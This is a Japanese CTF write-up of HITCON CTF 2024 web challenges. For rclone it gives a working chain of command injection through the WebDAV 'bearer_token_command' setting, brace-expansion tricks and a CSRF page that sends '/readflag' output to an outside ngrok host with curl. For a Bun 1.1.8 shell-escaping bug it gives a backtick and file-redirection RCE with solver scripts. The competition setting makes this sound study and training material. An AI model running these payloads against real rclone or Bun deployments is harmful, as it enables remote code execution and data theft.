HITCON CTF 2024 web writeup
HITCON CTF 2024 に参加して、結果1問だけ解けて60/942位でした。めちゃくちゃ難しくて目標の2問まであとちょっとで悔しいですが、SECCON突破に向けてこれくらいでも解けるようになりたいです。
✅ RClonE (262pt クリア率3%)
rcloneという様々なストレージサービス/アプリケーションをまとめたり連携するためのアプリケーションがデプロイされている。直接アクセスすることはできないが、BotがWebGUIにログインした後に、指定のサイトを見てくれる。
rcloneサーバー内の/readflag
という実行ファイルを実行した結果を見ることができればクリア。
Step 1: RCEのエントリポイント
とりあえずRCEしなければいけないことは確定なので、ソースコードを見てシェルを起動している箇所を一つ一つチェックする。Goで書かれているので、exec.Command
かexec.CommandContext
を探せば良い。その中で使えそうな箇所を発見した。(該当箇所)
func (f *Fs) fetchBearerToken(cmd string) (string, error) {
var (
args = strings.Split(cmd, " ")
stdout bytes.Buffer
stderr bytes.Buffer
c = exec.Command(args[0], args[1:]...)
)
コードを深掘りすると、次のステップで実行すると、この箇所がよばれる
-
config/create
で、webdavタイプのremoteを作成し、bearer_token_command
に実行したいシェルスクリプトを指定する -
operations/list
で、上記のremoteを閲覧する。
exec.Command
は、$(/readflag)
といったsubstitutionを直接は行えないのでbashコマンドを挟む必要がある。その場合は、
bash -c 'curl http://bot:8000/submit --data-raw "url=https%3A%2F%2Ftxxx.ngrok.app%2F$(/readflag)"'
のように実行したいが、args = strings.Split(cmd, " ")
と分割されるため、-c以降にスペースを利用できない。チートシートを見ながらスペースを利用しない方法を探ると、
bash -c {curl,http://bot:8000/submit,--data-raw,"url=https%3A%2F%2Fxxx.ngrok.app%2F$(/readflag)"}
でうまくいった。
以下は、APIに直接アクセスできて、Basic認証を通過できる場合にうまく動く
import requests
from requests.auth import HTTPBasicAuth
s = requests.session()
r = s.post("http://localhost:5572/config/create", json={
"name": "foobar",
"type": "webdav",
"parameters": {
"url": "http://xxx.ngrok.app/",
"bearer_token_command": '/bin/bash -c {curl,"https://xxx.ngrok.app/?v=$(pwd)"}'
}
}, auth=HTTPBasicAuth("secret", "secret"))
r = s.post("http://localhost:5572/ ", json={
"fs": "foobar:",
"remote": ""
}, auth=HTTPBasicAuth("secret", "secret"))
Step 2: CSRF
送りたいリクエストは判明したので、ブラウザを閲覧するだけでリクエストを送るようにできるようにする方法を探るのが次の目標。Githubのissueを見ているとCSRFに関するページが見つかった。
<form method="POST" action="http://localhost:5572/core/bwlimit?rate=1M">
<input type="submit" value="CSRF" />
<script>
document.forms[0].submit();
</script>
</form>
これと同じものを利用すれば良い
最終コード
以下のファイルを提供するようなURLをBOTに送ったらフラグをゲットした
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>
const sleep = t => new Promise(r => setTimeout(r, t));
window.addEventListener("load", async () => {
const el = document.forms[0];
const qparams = new URLSearchParams();
const stage = new URLSearchParams(document.location.search).get("stage");
if(stage == "1") {
qparams.set("name", "foobar");
qparams.set("type", "webdav");
qparams.set("parameters", JSON.stringify({
url: "http://sample.com",
bearer_token_command: '/usr/bin/bash -c {curl,http://bot:8000/submit,--data-raw,"url=https%3A%2F%2Fxxx.ngrok.app%2F$(/readflag)"}'
}));
const url = new URL("http://rclone:5572/config/create");
url.search = qparams.toString()
el.action = url;
el.submit()
} else if(stage == "2") {
qparams.set("fs", "foobar:");
qparams.set("remote", "");
const url = new URL("http://rclone:5572/operations/list");
url.search = qparams.toString()
el.action = url;
el.submit()
} else {
open("./?stage=1");
await sleep(100);
open("./?stage=2")
}
})
</script>
</head>
<body>
<form method="POST">
<input type="submit" value="GO!" />
</form>
</body>
</html>
Echo as a service
終わった後シャワー浴びたときに思いついたやつやってみたらフラグゲットできた...めちゃくちゃ惜しいとこまでいけてました。
Bunのシェル 機能を使ってRCEする問題。利用バージョンは1.1.8。/readflag give me the flag
を実行できたらフラグがもらえる。
const server = Bun.serve({
host: "0.0.0.0",
port: 1337,
async fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/") {
/* snip */
}
else if (url.pathname === "/echo") {
const msg = (await req.formData()).get("msg");
if (typeof msg !== "string") {
return new Response("Something's wrong, I can feel it", { status: 400 });
}
const output = await $`echo ${msg}`.text();
return new Response(output, { headers: { "Content-Type": "text/plain" } });
}
}
});
Bunのシェルは、直接実行されるのではなく、いろいろエスケープとかされてから実行されるので、適当に$(/readflag give me the flag)
とかやってもダメだった。
バージョンがちょっと前のものなので、何か修正されていないか確認したところ、怪しいコミット発見。 コードを読んでいくと、大雑把にエスケープするかどうかを決める→細かく一文字ずつエスケープするか決める、といった流れになっている。「大雑把」に該当する文字は以下の通り。
const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
いろいろ文字が抜けているせいで、いろいろとできる。とりあえずバックティックを利用して`/readflag`
を送ると、Usage: /readflag give me the flag
のように実行自体はできる。ただし、スペースを使うとエスケープされてしまうので、`/readflag give me the flag`
は実行できない。
行き詰まったので、とりあえず次のようなコードを回して面白い結果がないか探索した。
res = []
for x in string.printable:
for y in string.printable:
if x == "/" and y == "*": # /readflag/*./index.jsはフリーズ
continue
if x == "`" or y == "`":
continue
msg = "`" + "/readflag" + x + y +"give" + "`"
r = requests.post(URL + "echo", data={"msg": msg})
rr = r.text.strip()
print(rr, msg)
if rr != msg and len(rr) > 0:
res.append(x+y)
結果:
['0<', '2<', '*<', '<<', '\t#', '\r#']
上記のうち、/readflag*<index.js
とすると、/readflag
に/readflag.c
が第一引数として渡されて実行されていることがわかった。これは、
foo foobar biz baz foooo
というディレクトリがあったときに
foo*
はfoo foobar foooo
に分解されて、さらにバッククォートで囲むことによってその文字列が実行されているらしい。順番はファイル名依存だろうけど、調べても具体的にどの順番でというのがわからなかった。
また、よく見るとgive
というファイルが生成されていることに気づいた。いろいろ実験すると、foo1<bar
と送るとbar
というファイルにfoo
と書き込まれてファイルが生成されることがわかった。
以上を利用して
-
/readflag\tgive\tme\tthe\tflag
と書かれたファイル(ba)を作成する -
bash ba
を実行する(ba*
はこの順番になることは確認済み)
よって、以下のようなコードでフラグゲット
URL = "http://localhost:1337/"
msg = "/readflag\tgive\tme\tthe\tflag1<ba"
r = requests.post(URL + "echo", data={"msg": msg})
msg = "X1<bash"
r = requests.post(URL + "echo", data={"msg": msg})
msg = "`b*`"
r = requests.post(URL + "echo", data={"msg": msg})
print(r.text)
「ファイルを作成して実行」までは思いついていたが、タブ区切りにする発想が時間内に出てこなかった。1<ba
を複数回実行すると、ファイル末尾に追記されていくため、改行ありでも実行できるようにしようとしていたら時間が来てしまった。残念。
解けなかった問題
Private Browsing+
ページをプロキシして表示してくれるサービス
BOTは、自分が送ったページを訪れた後にNoteというページにフラグを書き込む。
自分のページが別ウィンドウを開いたとして、どうやって他のページの情報を見るのか全く不明。知らないようなオラクルが出現するのだろうけど全く思いつかなかった。ある作問者をプロファイリングした結果より オラクルを利用したXS-Leaksは鍛えたいので、解法を見るのが楽しみ。
Discussion